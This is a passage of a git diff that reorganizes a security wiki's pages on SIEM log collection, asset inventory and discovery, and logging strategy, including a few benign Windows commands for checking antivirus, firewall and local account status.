Severity, and Message. - * Can also have a priority field associated with the log, calculated as Facilty(0-23) x 8 + severity (0-7) - * Limitations: Size of logging packet is important especially when certain Windows logs can be over 30,000 bytes. - * UDP - Limited to 1024 bytes, can lead to log duplication - * TCP - Limited to 4096 bytes, is slower than UDP -* [**Windows Event Forwarding**](https://github.com/palantir/windows-event-forwarding) **** - TCP Port 5985. Windows built in agent for forwarding Windows event logs, in standard EVTX format. - * Can be managed by GPO: Group Policy Objects - * Uses AD for authentication - * Uses WinRM to push/pull logs to/from an event collector - * Basic filtering, encryption, and compression - * [https://apps.nsa.gov/iaarchive/library/reports/spotting-the-adversary-with-windows-event-log-monitoring.cfm](https://apps.nsa.gov/iaarchive/library/reports/spotting-the-adversary-with-windows-event-log-monitoring.cfm) -* **Agentless Log Collection** - This usually involves a central server to collect logs, or a device that can natively send logs in the correct format to your SIEM. - * Can use either a push or pull method with logs often being sent over WMI or SSH. - * Easy to deploy and requires less maintenance - * Can only handle a finite number of systems and logs - * Can be a security risk with logs constantly being sent across the network and the potential requirement of the collector logging in to a device to pull the logs. - * Data Diodes - A hardware or software tool that can improve log collection security in agentless applications, by forcing a one way connection to the logging server. -* **Script Collection** - * Sometimes the only method of collection for cloud and third party apps. - * Handy for collecting baseline information and inventory - -### **Log Aggregator** - -The central collection point for your logs. This is where raw logs can be parsed and event have context added to them. - -* Splunk Heavy Forwarder - A hybrid of a powerful logging agent and Aggregator, a Heavy forwarder can both collect logs from many sources as well as parse/filter logs. -* [Nagios - The Industry Standard In IT Infrastructure Monitoring](https://www.nagios.org/) - Network logging and monitoring tool focused for network engineering. -* [Logstash ](https://github.com/elastic/logstash)- One of the most common aggregators. Built by Elastic Stack with over 200 plugins. Can be used to accept logs and convert them to other formats used by premium SIEMs - * Commercial support available - * Uses a variety of plugins to perform different features - * Can apply [tags](https://discuss.elastic.co/t/type-vs-tags/37131) to logs and data for creating categories to enhance searching - * [HASecuritySolutions/logstash](https://github.com/HASecuritySolutions/logstash) - Repo of tons of Logstash related material and configs - * [Plugins: Input](https://www.elastic.co/guide/en/logstash/current/input-plugins.html) - An input plugin enables a specific source of events to be read by Logstash. - * [Plugins: Codec](https://www.elastic.co/guide/en/logstash/current/codec-plugins.html) - A Codec plugin will allow Logstash to read and parse certain special types of logging formats - * [Plugin: stdin](https://www.elastic.co/guide/en/logstash/current/plugins-inputs-stdin.html) - Allows for manual creation of logs - * [Plugin: File](https://www.elastic.co/guide/en/logstash/current/plugins-inputs-file.html) - Allows the output of files to be ingested as logs. Can be used as a way to log anything that can write a log to a file. Can use wildcards to scan for files in multiple directories. - * [Plugin: jdbc](https://www.elastic.co/guide/en/logstash/current/plugins-inputs-jdbc.html) - This plugin was created as a way to ingest data in any database with a JDBC interface into Logstash. This is handy for certain endpoint security suites that store their logs in a database. - * [Plugin: UDP](https://www.elastic.co/guide/en/logstash/current/plugins-inputs-udp.html) - The catch all plugin for logs being sent over syslog UDP 514. Can add TLS encryption to UDP streams. \*Root privileges will be required on ports under 1024.\* - * [Plugins: Output ](https://www.elastic.co/guide/en/logstash/current/plugins-outputs-elasticsearch.html)- Logstash can output to multiple different applications including [Elasticsearch](https://www.elastic.co/elasticsearch/) - * [Plugins: Filter](https://www.elastic.co/guide/en/logstash/current/filter-plugins.html) - Filtering logs by tons of different options, variables, and conditions. - * Regex - Filter by specific Regex matching - * Grok - Filter by set Regex built patterns - * [Grok Debugger](https://grokdebug.herokuapp.com/) - * Pattern - Filter by customer regex that is assigned a name. Reusable regex - * CSV - Filter by comma separated values. - * Key Value pair - * JSON - Handy for parsing and filtering IDS solutions like SNORT and Surricata that can output in JSON format - * [Plugin: Date ](https://www.elastic.co/guide/en/logstash/current/plugins-filters-date.html)- Uses [Joda-Time](http://joda-time.sourceforge.net/apidocs/org/joda/time/format/DateTimeFormat.html) (java time library) to pattern match and normalize time/date stamps. - * [Plugin: Drop](https://www.elastic.co/guide/en/logstash/current/plugins-filters-drop.html) - Used for dropping logs buy certain criteria - * Can also be used with the remove\_field filter to remove specific data fields within a log - * Plugins: Enrichment - Adding fields and contextual data. - * [GeoIP](https://www.elastic.co/guide/en/logstash/current/plugins-filters-geoip.html) - Adds location to IP address entries - * [DNS](https://www.elastic.co/guide/en/logstash/current/plugins-filters-dns.html) - Performs reverse DNS lookups - * [Fingerprint](https://www.elastic.co/guide/en/logstash/current/plugins-filters-fingerprint.html) - Takes a data field and replaces the data with a hash of the data itself. Handy for identification but not disclosure of sensitive data like PII. - * [Mutate](https://www.elastic.co/guide/en/logstash/current/plugins-filters-mutate.html) - Manipulating a field and its data. - * [Ruby](https://www.elastic.co/guide/en/logstash/current/plugins-filters-ruby.html) - For making API calls. Also for analysis of data fields like suspect length. - -### **Log Broker** - - An optional component, a log broker acts as a buffer for temporary storage of logs. It helps to store logs over regular flow capacity. Intended to help syslog devices as many agent based systems have their own internal broker-like services. - -* [Rabbitmq](https://www.rabbitmq.com/) - Easy to install, easy to use, and available for all major operating systems -* [Kafka](https://kafka.apache.org/) - High powered broker with the ability to manage high volume of events at a time. Use [Apache Zookeeper](https://kafka.apache.org/) to manage multiple Kafka nods - -### **Storage** - -Where all of your logs are stored for later use. - -* WORM - Write-Once-Read-Many. The ideal storage type for SIEM -* Typical relational database structures are not optimal as most are ACID compliant (Containing integrity checks) which is really not efficient for logging purposes. - - - -### **Search/Report** - -The component which allows the searching of parsed data and creation of reports based on intricate search queries. - -* [Elastisearch](https://www.elastic.co/elasticsearch/) - The WORM based, distributed, scalable database used for real time searching. - * Elastisearch architecture uses the concept of a shard, which is a storage partition. These shards are usually created with replicas stored in a different location for redundancy. The cool thing is that both the original shard, and the copy are available for searching, drastically increasing search speeds. Both the primary and replica shards are used to scale out. - * [Kibana](https://www.elastic.co/kibana/) - The Primary search interface for Elastisearch. - * _Threat Hunting in Elastic Stack: Using Kibana - pg. 66, 198_ - * [https://www.elastic.co/elasticon/conf/2015/sf/scaling-elasticsearch-for-production-at-verizon](https://www.elastic.co/elasticon/conf/2015/sf/scaling-elasticsearch-for-production-at-verizon)__ - * _Threat Hunting in Elastic Stack: Bringing data into Elasticseach - pg. 50_ -* [Splunk](https://www.splunk.com/) - The premium cadillaic option of searching/data mining utilities. - -### **Alert Engine** - -One of the most important components in a SIEM, the alert engine can take predefined searches and perform specific actions when those searches return results, such as create an alert. - -* [Graylog](https://www.graylog.org/) - An admin platform for Elastisearch that can be used to create easy and flexible alerting -* [ElastAlert](https://github.com/Yelp/elastalert) - A python based framework for setting up alerts within Elastisearch -* [Watcher/Kibana-Alerting](https://www.elastic.co/what-is/kibana-alerting) - Elastisearch's commercial offering for creating and managing alerts. -* [Splunk Security Essentials](https://www.splunk.com/en\_us/software/cyber-security-essentials.html) - A free app(plugin) for Splunk that comes with a small set of security search use cases and other utilties. -* [Splunk Enterprise Security](https://www.splunk.com/en\_us/software/enterprise-security.html) - Splunks premium SIEM alerting engine with a large selection of preset security alerts, deshboards, and an alert triaging panel for use in a SOC. +### Log Collectors + +Collectors gather events from endpoints, servers, network devices, cloud platforms, and applications. + +* **Log agents** - Installed on devices to collect, filter, buffer, parse, encrypt, and forward logs. + * [Splunk Universal Forwarder](https://www.splunk.com/en_us/download/universal-forwarder.html) + * [ArcSight Connectors](https://www.ndm.net/siem/arcsight/arcsight-connectors) + * [QRadar WinCollect](https://www.ibm.com/docs/en/qradar-on-cloud?topic=wincollect-overview) + * [LogRhythm System Monitor Service](https://logrhythm.com/products/features/collection-technology/) + * [Elastic Beats](https://www.elastic.co/beats/) + * [NXLog](https://nxlog.co/) +* **Syslog** - Common network and Unix logging protocol. RFC 5424 syslog can use UDP, TCP, and TLS depending on implementation and configuration. +* **Windows Event Forwarding** - Built-in Windows event forwarding through WinRM. Use Microsoft documentation for the built-in feature and the Palantir repository for a deployment model. + * [Microsoft: Use Windows Event Forwarding to help with intrusion detection](https://learn.microsoft.com/en-us/windows/security/operating-system-security/device-management/use-windows-event-forwarding-to-assist-in-intrusion-detection) + * [Palantir Windows Event Forwarding](https://github.com/palantir/windows-event-forwarding) +* **Agentless collection** - Centralized pull or device-native push collection, often over WMI, SSH, syslog, API, or file export. +* **Scripted collection** - Useful for cloud services, SaaS platforms, inventory, and APIs that do not support standard log forwarding. + +Sysmon configuration and Sysmon-focused detection resources live on the Sysmon page. + +{% content-ref url="../blue-defense/event-detection/sysmon.md" %} +[sysmon.md](../blue-defense/event-detection/sysmon.md) +{% endcontent-ref %} + +### Log Aggregators + +Aggregators receive logs, parse them, normalize fields, enrich events, and route output. + +* **Splunk Heavy Forwarder** - Collects, parses, filters, and forwards Splunk data. +* **Logstash** - Elastic pipeline tool for ingestion, transformation, and routing. + * [Logstash input plugins](https://www.elastic.co/guide/en/logstash/current/input-plugins.html) + * [Logstash filter plugins](https://www.elastic.co/guide/en/logstash/current/filter-plugins.html) + * [Logstash output plugins](https://www.elastic.co/guide/en/logstash/current/output-plugins.html) + * [Elastic Grok Debugger](https://www.elastic.co/guide/en/kibana/current/xpack-grokdebugger.html) + * [HASecuritySolutions Logstash](https://github.com/HASecuritySolutions/logstash) +* **Nagios** - Infrastructure monitoring and alerting platform used heavily by network and systems teams. + +SIEM platforms, enrichment tools, and alerting engines are maintained in Blue Defense. + +{% content-ref url="../blue-defense/event-detection/siem-and-enrichment.md" %} +[siem-and-enrichment.md](../blue-defense/event-detection/siem-and-enrichment.md) +{% endcontent-ref %} + +### Log Brokers + +A log broker buffers events during bursts or downstream outages. + +* [RabbitMQ](https://www.rabbitmq.com/) +* [Apache Kafka](https://kafka.apache.org/) + +### Storage + +Log storage should support integrity, retention, and investigation speed. + +* **Hot storage** - Recent, frequently searched data. +* **Warm storage** - Older data that still needs reasonable search performance. +* **Cold storage** - Long-term retention for compliance, historical investigations, and rare lookbacks. +* **WORM** - Write Once, Read Many storage for tamper-resistant retention. + +### Search and Reporting + +* [Elasticsearch](https://www.elastic.co/elasticsearch/) - Distributed search and analytics engine. +* [Kibana](https://www.elastic.co/kibana/) - Elastic search, dashboard, and investigation interface. +* [Splunk](https://www.splunk.com/) - Commercial data platform and SIEM ecosystem. + +For query languages used across SIEM and log platforms, see Blue Defense Query Languages. + +{% content-ref url="../blue-defense/query-languages.md" %} +[query-languages.md](../blue-defense/query-languages.md) +{% endcontent-ref %} diff --git a/security-logging/device-discovery-and-asset-inventory.md b/security-logging/device-discovery-and-asset-inventory.md index e874316..d791b11 100644 --- a/security-logging/device-discovery-and-asset-inventory.md +++ b/security-logging/device-discovery-and-asset-inventory.md @@ -1,139 +1,132 @@ # Device Discovery and Asset Monitoring -## **“If you know the enemy and know yourself, you need not fear the result of a hundred battles." - Sun Tzu** +Asset inventory gives logs context. A source IP, process name, or username is far more useful when analysts can tie it to an owner, role, location, criticality, and expected behavior. -The first step in protecting your network from attackers is understanding it. You cannot defend what you do not know exists. [CIS Controls](https://www.cisecurity.org/controls/) list of 20 controls recommended for securing your network, has #1 and #2 all about inventorying devices and software within your environment.\ -"If an organization does not know what each asset is for, then it is not a fair expectation that a managed security service provider (MSSP) will know. If the MSSP cannot know the business context of an asset, then monitoring and protection become more and more difficult. This is an area where end users of managed services can try to better integrate with their MSSP." - SANS SEC555 +## Minimum Inventory Data -There are 2 asset layers we need to focus on for proper auditing within an environment. Below are the two layers and their minimum associated data points. (These are not exhaustive but should be the minimum known data points) +### Devices -* **Devices** - * Mac Address - * IP address - * Hostname - * Operating System - * Installed Software - * Processes - * Scripting frameworks - * Associated User -* **Users** - * Name - * Username - * Email - * Groups - * Authentication status - * Permissions - * Privileges - * Geo-locations. - * Associated workstation +* MAC address +* IP address +* Hostname +* Operating system +* Installed software +* Running processes +* Scripting frameworks +* Primary user or owner +* Business role or criticality -The methodology for collecting these will come from both active and passive network detection abilities. The following sections will detail the tools and techniques used for these. +### Users -**Active Network Detection** +* Name +* Username +* Email +* Groups +* Authentication status +* Permissions +* Privileges +* Typical workstation +* Typical location or region -Active network detection is where there is an actual interaction with the device. This can happen with port scanning or any process that has authentication to the device in order to enumerate data about the device. +## Active Discovery -Active Network Detection Sources +Active discovery interacts with the device or service. -* Network Scanners - * [NMAP ](https://nmap.org/)scanning is popular, easy, and can return a wealth of data including hostname, open ports, operating system and more. Uses a fingerprint database to identify device types, services, and the host operating system. -* Vulnerability Scanners - * Can be unauthenticated which works similar to an NMAP scan - * Can be authenticated which allows direct querying of the device and return significantly more data. - * Typically will support SNMP, SSH, and SMB by default. - * [VulnWhisperer](https://github.com/HASecuritySolutions/VulnWhisperer) - A handy script for exporting vuln scan data and importing it into Elastic Stack - * [PoshNessus](https://github.com/tenable/Posh-Nessus) - Powershell module for automating Nessus functions. -* Inventory Systems +* **Network scanners** - Nmap and similar tools can identify hosts, ports, services, and sometimes operating systems. +* **Authenticated vulnerability scanners** - Can collect software, patch, configuration, and exposure data. +* **Inventory and endpoint management systems** - Often provide the cleanest software and ownership data. +* **Cloud APIs** - Provide resource inventories, tags, owners, and configuration details. -**Passive Network detection** +Vulnerability scanning depth belongs in Red Offensive or vulnerability management pages. This page focuses on using inventory data as logging context. -Passive network detection is where there is no interaction with the device, and the data is collected from passive logs or traffic seen within the network. Much of this will require detailed internal East-West Activity. +{% content-ref url="../red-offensive/scanning-active-recon/" %} +[scanning-active-recon](../red-offensive/scanning-active-recon/) +{% endcontent-ref %} -Passive Network Detection Sources +## Passive Discovery + +Passive discovery uses logs and observed traffic. * Active Directory requests -* Zeek - * software.log file maps IP to software usage without repetitive logging. -* DHCP -* NetFlow -* Firewall -* Switch CAM Tables - * [https://github.com/HASecuritySolutions/Logstash/blob/master/scripts/CAMTableExport.ps1](https://github.com/HASecuritySolutions/Logstash/blob/master/scripts/CAMTableExport.ps1) - * OUI lookup to determine manufacturer - * Look for Invalid OUIs - * Wireshark maintains a [free OUI file](https://gitlab.com/wireshark/wireshark/raw/master/manuf) +* DHCP logs +* DNS logs +* NetFlow/IPFIX +* Firewall logs +* Zeek/Corelight logs +* Switch CAM tables * Wireless IDS -* NTP - * All corporate assets should be using an internal NTP server - * Can identify personal devices by how they request NTP from internet time servers - * time.windows.com, time.apple.com, ntp.ubuntu.com, etc. +* NTP logs + +Examples: + +* `software.log` from Zeek can map IP addresses to observed software. +* DHCP logs can tie IP addresses to MAC addresses and hostnames. +* NTP requests can reveal unmanaged personal devices if corporate assets should only use internal time servers. +* Switch CAM data can support MAC-to-port and manufacturer lookup. + +Useful resources: -**Software Monitoring** +* [HASecuritySolutions CAMTableExport](https://github.com/HASecuritySolutions/Logstash/blob/master/scripts/CAMTableExport.ps1) +* [Wireshark OUI manufacturer file](https://gitlab.com/wireshark/wireshark/raw/master/manuf) -Inventory of both software installed as well as running as a process, is critical to determining what is allowed in your environment. Especially processes. "Malware can hide, but it must run" - SANS. Once the applications and software has been inventoried, you can create a highly effective strategy for detecting anomalies by creating a process for application whitelisting. [NIST 800-167](https://www.nist.gov/publications/guide-application-whitelisting) gives a great guide on this. +## Software Monitoring -Determining what is installed can be done by leveraging the data from a few different sources. +Software inventory helps define expected applications and identify unusual software. Process inventory is even more important because malware can hide on disk, but it must execute. -* Client Management Tools -* Patch Management -* Application Control - * [AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/applocker-overview) - Free app control solution for Windows. - * Can perform blocking by Path, Hash, or Publisher. -* Process Monitoring +Sources: -For using this software inventory as a basis for detections, we can perform long tail analysis on the inventory by looking at software by count, and looking for those with the lowest count. In a large environment, installed software and running processes shouldn't differ too much between devices. +* Client management tools +* Patch management +* Application control +* EDR tools +* Process monitoring +* Log agents -**Asset Tagging** +Application allowlisting and control: -A detailed asset inventory can be more than a simple lookup for enrichment. You can built simple detections around assets that have been tagged into groups. Powershell.exe use by the system admins group? Totally expected. Powershell.exe used by an accountant? Might want to look in to that. +* [NIST SP 800-167: Guide to Application Whitelisting](https://www.nist.gov/publications/guide-application-whitelisting) +* [AppLocker](https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/applocker/applocker-overview) -**Device Baseline Monitoring** +Detection and threat hunting examples that use software rarity or long-tail analysis belong in Blue Defense. -Device baselines are handy for defining "normal" configurations and acitivty, and then being able to compare them against future snapshots, looking for any significant discrepancies. +{% content-ref url="../blue-defense/threat-hunting.md" %} +[threat-hunting.md](../blue-defense/threat-hunting.md) +{% endcontent-ref %} -Creating baselines starts with collection of various data points from your devices. This can come in the form of a script or a log agent that can forward the data on to your SIEM. +## Device Baseline Monitoring -Baseline Data to capture +Baselines define normal configuration and activity so changes can be reviewed over time. -* Active Processes - * Long Tail analysis on running processes accross the environment is very effective here. -* ARP Cache - * Simple arp -a with long tail analysis can identify strange devices. Investigate one-off entries +Useful baseline data: + +* Active processes +* ARP cache * Certificates - * Filter on trusted certificates and authorities - * Alert on new entries - * Powershell - Get-ChildItem in the certificate store * Drivers -* Host Files - * Local files take precendence over DNS - * Should not change except by IT or developers - * Typically has 0 entries -* Registry Keys -* Route Table - * Check for number of gateways. There should typically one be one. There might be two if using a VPN, but no more than that. Investigate what you cannot account for. -* Scheduled Tasks -* Security Status - * Check that your Host firewalls, AV, and App control is all enabled. When should this ever be disabled? - * Get-WMIObject -namespace root\Microsoft\SecurityClient -list - * Shows AV info and status - * netsh.exe advfirewall show all profiles - * Shows Windows firewall status per profile +* Hosts file +* Registry keys +* Route table +* Scheduled tasks +* Host firewall, antivirus, and application control status * Services * Shares * Software inventory * USB devices -* Users and Groups - * Most systems are AD integrated. Local accoutns should be disabled, or at the very least be given random passwords. - * Get-WMIObject -Class Win32\_UserAccount -Filter "LocalAccount='True'" - * Can also extract the last password change to check for proper password rotation. +* Local users and groups + +Example Windows checks: + +```powershell +Get-WmiObject -Namespace root\Microsoft\SecurityClient -List +netsh.exe advfirewall show allprofiles +Get-WmiObject -Class Win32_UserAccount -Filter "LocalAccount='True'" +``` -**Baseline Tools** +## Baseline Tools -* [Log Campaign](https://github.com/HASecuritySolutions/LogCampaign) - A powershell script framework for automatically creating a device baseline. - * Logs to Windows Channel or Syslog - * Comes with built in baseline modules - * Includes a module for checking [Autoruns](https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns), and areas of persistence. - * This works very well with Long Tail analysis. -* [Kansa](https://github.com/davehull/Kansa) - Designed for incident response, this tool can be used to easily create a baseline. - * Does not easily export to SIEM +* [Log Campaign](https://github.com/HASecuritySolutions/LogCampaign) - PowerShell framework for creating device baselines and logging them to Windows channels or syslog. +* [Kansa](https://github.com/davehull/Kansa) - Incident-response collection framework. Useful for baselines in labs or IR workflows, but canonical DFIR coverage belongs in DFIR. +{% content-ref url="../dfir-digital-forensics-and-incident-response/" %} +[dfir-digital-forensics-and-incident-response](../dfir-digital-forensics-and-incident-response/) +{% endcontent-ref %} diff --git a/security-logging/how-to-log.md b/security-logging/how-to-log.md index 44787d8..6b46293 100644 --- a/security-logging/how-to-log.md +++ b/security-logging/how-to-log.md @@ -1,89 +1,94 @@ -# How create a logging strategy +# How to Create a Logging Strategy -What can we say about logs? Well, logging strategies are complex with no single one-size-fits-all solution. There are many premium and open source options for all the different tools that make up a proper structure for logging. We will expound on the different strategies, but understand one very important thing: Logging is not a "there or not" technology. Logs have a quality associated with them, and with Logging, quality is ALWAYS better than quantity. +Logging is not just present or absent. Logs have quality, context, coverage, cost, and operational value. A good strategy collects enough data to support detections and investigations without drowning the team in storage costs and low-value events. -## **Logging strategy** +## Logging Strategy - Most organizations pick up a SIEM to process their security logging as a compliance requirement. Sadly, when this is the focus, it is often implemented improperly and inefficiently. This ends up costing the organization more than it should, as well as having poor security. So what should we focus on when looking to bring in logs for security monitoring? First we talk about how to collect the logs. This comes in a couple of approaches: +Most organizations start with a SIEM for compliance, then discover that collection quality matters more than raw volume. Common approaches include: -* Volume logging (input focused) - Log all the things, let the analysts sort it out. -* Selective logging (output focused) - Pick and choose what logs you want, and how you want them, and hope you didn't forget anything. +* **Volume logging** - Collect everything and tune later. +* **Selective logging** - Collect only known useful sources and fields. +* **Hybrid logging** - Start broad enough to avoid blind spots, then tune, filter, and prune based on evidence. -Honestly, the best option is a hybrid. Start with volume logging and implement a process of constant tuning and pruning. It will take more ongoing maintenance, but you will have more data you might not know you need, with out having to pay for the storage/license of logging everything. Remember, that the use of human processes and procedures will be cheaper and more effective than relying on a tool, every time.\ -When looking at tuning and pruning, one of the best approaches is to start with removing the most frequent events that you will see, as they are the least likely to have any significant security value. Many folks will say that you can reduce the volume of your logs by 80-90% and retain security value, with this simple method. +The hybrid approach usually works best. It requires maintenance, but it gives teams a way to learn what matters before they permanently discard useful evidence. -One large factor you should consider is the purpose behind the logging. This will vary greatly depending on who will be using the logs and what tasks they will need them for. Typically these will come down to three implementations. +## Logging Purpose -* Security Alerts Only - With this approach, you only log events and data fields that are directly used for generating security alerts. Short, sweet, and to the point, this option will give you the smallest overall volume if your organization has concerns about storage, or license if you use a premium SIEM. -* Security Relevant logs. - These would be all of the data you need for alerts, as well as any data that would be useful for a security investigation. Not all data can be used to generate alerts, but can still provide immense value for threat hunting and incident response scenarios. -* All Operational logs - This is common when the security team and the network operations team is working off of the same data, in the same tool. For simplicity's sake, all logs relevant to both security and network operations are logged into the platform of choice, and the respective teams parse through what is relevant to them. This is handy for larger organizations with thier own internal SOC and NOC teams, but does ingest a much larger volume of data. +Before collecting a source, decide who uses it and why. -## **What logs should you collect?** +* **Security alerts only** - Events and fields directly required for alerting. This is the smallest and cheapest option, but it has limited investigation value. +* **Security-relevant logs** - Alert data plus events useful for investigations, threat hunting, and incident response. +* **Operational logs** - Security and IT operations share the same logging platform, often with broader infrastructure and application coverage. -Relevant logs come from all types of sources, and you should never discount the power of a log that doesn't come from a security related device. Compliance is a great starting point for what logs you should collect, but compliance is ONLY a starting point. It should never be the goal. It will come down to your organization on what to prioritize, but there are a few interesting data points that can get you heading in the right direction. +Compliance can be a starting point, but it should not be the whole strategy. -When looking at what to prioritize for detection, one of the most common methods is to see what solutions and data can match to your MITRE ATT\&CK Framework coverage. While you should always look for more than simply checking a tactic or technique off of a list, it is still a great starting place when developing your strategy. I have recently taken a CSV of the Mitre attack framework and performed some statistical analysis on some of the newer data points they have added: Data Sources, and Data Objects. These new data points allow us to see what we need log in order to detect the documented techniques and sub-techniques within the frame work. Here are a few interesting statistics from my research: +## What Logs Should You Collect? -* As of writing this, Mitre has 552 techniques and sub-techniques, 80 of which by definition cannot be detected by current means. -* It defines 30 different data sources, and 99 data objects used for detection. -* 125 techniques and sub-techniques apply only to Windows Operating systems, 16 to MacOS, and 9 to Linux. All others either overlap operating systems or apply to a specific application or tool. +Use a mix of compliance requirements, incident-response needs, detection coverage, and business context. ATT&CK data sources can help identify where coverage is strong or weak, but do not treat a mapped technique as proof of real detection. -Now for the fun part: Which data source and object pairs cover the most techniques and sub-techniques +The MITRE data-source statistics below were from a previous snapshot of ATT&CK and should be treated as directional, not current counts: -| Command: Command Execution | 243 | -| ---------------------------------------- | --- | -| Process: Process Creation | 197 | -| File: File Modification | 95 | -| Network Traffic: Network Traffic Content | 89 | -| Network Traffic: Network Traffic Flow | 84 | +* Command execution and process creation were among the highest-value data objects for coverage. +* File modification, network traffic content, and network traffic flow also covered broad technique sets. +* Some techniques cannot be detected directly and require prevention, hardening, or indirect behavioral signals. -Interesting right? Almost half of the document techniques require command line logging to detect! Well if we are developing a strategy focused on technique coverage, then this is where I would start. Even better, we can use this data to prioritize not just log sources to ingest but security tools to purchase and deploy. The top three on that list are all data objects that can be collected by an EDR solution, which tells me, EDR is the first thing I should look at if I want to improve my coverage. +For deeper log-source coverage assessment, use the Log Source Evaluation page. -Log prioritization can be complex, but when all else fails, Don Murdoch, the author of the Blue Team Handbook said it best: _"If you have to make a choice, use user attributable data over all others"_ +{% content-ref url="log-source-evaluation.md" %} +[log-source-evaluation.md](log-source-evaluation.md) +{% endcontent-ref %} -For more details on my MITRE ATT\&CK analysis, please see the below PDF. +For the original analysis PDF: -{% file src="../../.gitbook/assets/mitre_data_source_analysis.pdf" %} +{% file src="../.gitbook/assets/mitre_data_source_analysis.pdf" %} -## **Calculating logging infrastructure needs** +## Calculating Infrastructure Needs -When creating out our logging strategy it is crucially important to plan our the hardware and software needed to support both the logging operation itself as well as the storage for the logs collected. The best method of gauging what we need, is with a Proof-of-Concept. In a POC, we can take a sampling of log data and easily calculate certain needed data points: +Plan collection and storage with a proof-of-concept whenever possible. Sample real events, measure volume, and account for peak periods. -* EPD: Events per day - Used for calculating overall storage capacity. -* EPS: Events per second - Used for calculating the network and tool throughput required. -* Peak EPS - Used for calculating maximum surge throughput needed at one time. +Key sizing values: -If a POC of regular traffic is not feasible, it is possible to deploy scripts can pull the appropriate logs to help gauge and effective EPS.Another method for sizing EPS is by using estimation from third party research. While easy, it is not an advised method as estimations can vary wildly between sources. These options are handy and easier to use, but typically a POC for calculating event throughput is the only way to properly size log storage needs with any accuracy. +* **EPD** - Events per day. Useful for storage capacity. +* **EPS** - Events per second. Useful for ingestion and pipeline sizing. +* **Peak EPS** - Maximum burst throughput. + +If sampling is not possible, third-party estimates can help with early planning, but they should not replace measurement. * [SANS: Benchmarking SIEM](https://apps.es.vt.edu/confluence/download/attachments/460849213/sans%20siem%20benchmarking.pdf?api=v2) -* [https://content.solarwinds.com/creative/pdf/Whitepapers/estimating\_log\_generation\_white\_paper.pdf](https://content.solarwinds.com/creative/pdf/Whitepapers/estimating\_log\_generation\_white\_paper.pdf) +* [SolarWinds: Estimating Log Generation](https://content.solarwinds.com/creative/pdf/Whitepapers/estimating_log_generation_white_paper.pdf) + +## Types of Log Storage + +Retention should be driven by investigation needs, legal requirements, and budget. Mandiant's older M-Trends reporting cited long dwell times, which is a useful reminder: teams often need logs from weeks or months before detection. + +* **Hot** - Recent, active logs on fast storage. Commonly 7-30 days. +* **Warm** - Older but still searchable logs on cheaper storage. Commonly 30-90+ days. +* **Cold** - Long-term storage for rare lookbacks, compliance, and historical investigations. -## **Types of Log Storage** +## Log Collection Methodology -A data retention policy is always an important item to plan out when developing your logging strategy. In security, you must always be thinking about how far back in your logs will you need to go to effectively investigate a security incident. If we take [Mandiant's calculation](https://www.fireeye.com/blog/threat-research/2020/02/mtrends-2020-insights-from-the-front-lines.html) of an average 56 days to detect an intrusion, logic would dictate that we would need at least that. Anything beyond that length of time, is determined by your budget. +Collection depends on the source. -There are three types of log storage that we would typically see and deal with when managing logs in a SIEM: +* **Application and device logs** - Usually collected by native forwarding, syslog, agents, APIs, or file pickup. +* **Endpoint logs** - Windows Event Logs, PowerShell logs, Linux syslog, auditd, EDR telemetry, and supplementary agents. +* **Service logs** - DNS, HTTP, SMTP, VPN, proxy, firewall, and other service-specific records. +* **Network-derived logs** - Zeek, Corelight, flow exporters, packet sensors, and cloud flow logs. +* **Cloud logs** - Provider audit logs, identity logs, API activity, flow logs, and SaaS audit exports. -* Hot - These are your most recent and active logs. Typically saved on SSD's for the fastest response, retention on these disks are recommended for a minimum of 7 days, preferably 30 or more. -* Warm - Once past the time frame of the most use, logs can be moved from SSDs to slower but larger mediums like Hard Disk or Tape. Some SIEMs have a function that allows transfer of data from these disks to SDD for faster searches on necessary data. These are typically stored for at least 90 days. -* Cold - Beyond the first 90 days, the chances of needing a particular log file is slim, but not none. Cold storage is a cheap long term solution, but will take a long time to spool back up for use if needed. +Endpoint, network, and cloud logging each have their own pages in this section. -## **Log Collection Methodology** +{% content-ref url="logging-guide-windows-endpoint-logs.md" %} +[logging-guide-windows-endpoint-logs.md](logging-guide-windows-endpoint-logs.md) +{% endcontent-ref %} -Determining how you collect your logs depends greatly on the log you are trying to capture. +{% content-ref url="logging-guide-network-services.md" %} +[logging-guide-network-services.md](logging-guide-network-services.md) +{% endcontent-ref %} -* Application/device logs - These logs will come from a single source. These can be easily captured by native logging utilities within the device/application, a logging agent installed on the device, or some of the many options for syslog or other agentless logging. You mileage may vary, but be sure to investigate all of the options available to determine the right methodology for you. -* Service Logs - Service logs are a slightly different animal that the above logs. With service logs, you might not know exactly where the logs are coming from, or the the utility to capture them is not easy to use. These logs will come down to a few different methodologies: - * Native logging of services built into the devices that use them. - * This has a high degree of fidelity as well as you can custom tailor the quality of logging at the device itself. - * The biggest drawback is the volume of configuration you must do set up all of the devices for logging. You must also be prepared to collect those logs from multiple different sources, which introduces networking issues as well as dealing with multiple different log formats. - * Logging via network monitoring tools to capture all related traffic. - * By using fantastic tools like [ZEEK](https://zeek.org/) or [Corelight](https://corelight.com/), you can collect all of the different services you need to create logs for, with one tool and one log collection location, drastically increasing simplicity without sacrificing quality. - * This will generate logs for systems you are unaware of, as well as provide a consistent logging format. - * The difficulty here is more political as it usually requires a network tap, an additional server, and usually permissions to get the required level of visibility. - * Other options - * Network devices such as Next-Gen firewalls can often be able to create similar network traffic monitoring. These options will work but tend to have inferior logging quality. Certain protocols will have sufficient detail of logging, such as HTTP. Data for other protocols such as HTTPS and DNS are typically insufficient. +{% content-ref url="logging-cloud.md" %} +[logging-cloud.md](logging-cloud.md) +{% endcontent-ref %} -## **Final Note** +## Final Note -Logging solutions are the gas in the tank behind SIEMs and their proper implementation is critical to success. Once they are up, they are like a Bonzai tree; needing constant pruning and care to thrive. The biggest key to deploying and maintaining a logging solution is providing sufficient resourcing in time and staff. As always, no tool or tech, can replace solid personnel and procedures. +Logging platforms require tuning, pruning, and ownership. No SIEM can replace good source selection, clean parsing, consistent enrichment, and analysts who understand the environment. diff --git a/security-logging/log-source-evaluation.md b/security-logging/log-source-evaluation.md index 943c95b..27f23ff 100644 --- a/security-logging/log-source-evaluation.md +++ b/security-logging/log-source-evaluation.md @@ -1,49 +1,74 @@ --- -description: Introducing DeTTECT! +description: Evaluating log source quality and visibility coverage --- # Log Source Evaluation -## Intro +Not all log sources are equal. Evaluation should answer whether a source 